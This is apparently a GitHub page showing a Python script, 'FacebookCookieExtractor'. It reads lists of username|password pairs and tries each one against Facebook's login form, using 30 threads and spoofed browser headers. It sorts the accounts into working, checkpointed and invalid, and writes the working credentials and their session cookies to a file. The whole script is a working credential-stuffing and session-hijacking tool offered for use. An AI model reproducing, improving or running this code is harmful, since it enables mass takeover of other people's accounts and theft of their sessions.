-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.py
122 lines (104 loc) · 4.55 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import re, os, sys, datetime
from cookiesparser import encode as encode_cookies
from time import sleep
from requests import Session
from pyrua import get_rua
from concurrent.futures import ThreadPoolExecutor
class FacebookCookieExtractor:
def __init__(self):
self.ids = []
self.ok = []
self.cp = []
self.loop = 0
self.colors = {"r": "\033[1;31;40m", "g": "\033[1;32;40m", "w": "\033[0;37;40m"}
def clear_screen(self):
os.system("cls" if "nt" in os.name else "clear")
def get_term_size(self):
return os.get_terminal_size()[0]
def display_logo(self):
c = self.colors
print(f""" ______ __ _
/ ____/___ ____ / /__(_)__ _____
/ / / __ \\/ __ \\/ //_/ / _ \\/ ___/
/ /___/ /_/ / /_/ / ,< / / __(__ )
\\____/\\____/\\____/_/|_/_/\\___/____/
{c['g']}Coded By Farhan Ali
@farhaanaliii{c['w']}
{"-" * self.get_term_size()}
""")
def start(self):
self.ids.clear()
self.ok.clear()
self.cp.clear()
self.loop = 0
self.clear_screen()
self.display_logo()
file_name = input(f" [{self.colored("g", "+")}] Enter File Name: ")
try:
with open(file_name, "r") as file:
self.ids.extend(file.read().splitlines())
except Exception as e:
print(f" [{self.colored("r", "X")}] {str(e)}")
sleep(1)
self.start()
with ThreadPoolExecutor(max_workers=30) as executor:
for id in self.ids:
executor.submit(self.process, id)
print("-" * self.get_term_size())
print(f" Process Completed\n Cookies saved in Cookies.txt{self.colors['g']}!{self.colors['w']}")
input(" Press Enter to continue")
self.start()
def get_cookies(self, uid, password):
session = Session()
session.headers.update({
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'accept-language': 'en-GB,en;q=0.9',
'cache-control': 'max-age=0',
'content-type': 'application/x-www-form-urlencoded',
'origin': 'https://www.facebook.com',
'priority': 'u=0, i',
'referer': 'https://www.facebook.com/',
'sec-ch-ua': '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'document',
'sec-fetch-mode': 'navigate',
'sec-fetch-site': 'same-origin',
'sec-fetch-user': '?1',
'upgrade-insecure-requests': '1',
'user-agent': get_rua(),
})
resp = session.get('https://www.facebook.com/login/').text
data = {
"lsd": re.search('name="lsd" value="(.*?)"', resp).group(1),
"jazoest": re.search('name="jazoest" value="(.*?)"', resp).group(1),
"login_source": "comet_headerless_login",
"email": uid,
"encpass": f'#PWD_BROWSER:0:{datetime.datetime.now().timestamp()}:{password}'
}
privacy_token = re.search(r'privacy_mutation_token=([^&]+)', resp)
resp = session.post(f'https://www.facebook.com/login/?privacy_mutation_token={privacy_token}', data=data).text
return encode_cookies(session.cookies.get_dict())
def colored(self, color, text):
return f"{self.colors[color]}{text}{self.colors["w"]}"
def process(self, id):
uid, psw = id.split("|")
try:
sys.stdout.write(f'\r Processed{self.colored("g", "|")}Total {self.loop}{self.colored("g", "|")}{len(self.ids)} OK{self.colored("g", "|")}CP {len(self.ok)}{self.colored("g", "|")}{len(self.cp)}\r')
sys.stdout.flush()
cookies = self.get_cookies(uid, psw)
if "c_user" in cookies:
print(f" [{self.colored("g", "OK")}] {uid} | {psw}\n [{self.colors['g']}Cookies{self.colors['w']}] {cookies}")
with open("Cookies.txt", "a") as file:
file.write(f"{uid}|{psw}|{cookies}\n")
self.ok.append(uid)
elif "checkpoint" in cookies:
print(f" [{self.colored("r", "CP")}] {uid} | {psw}")
self.cp.append(uid)
else:
print(f" [{self.colored("r", "Invalid")}] {uid} | {psw}")
self.loop += 1
except Exception as e:
print(e)
if __name__ == "__main__":
FacebookCookieExtractor().start()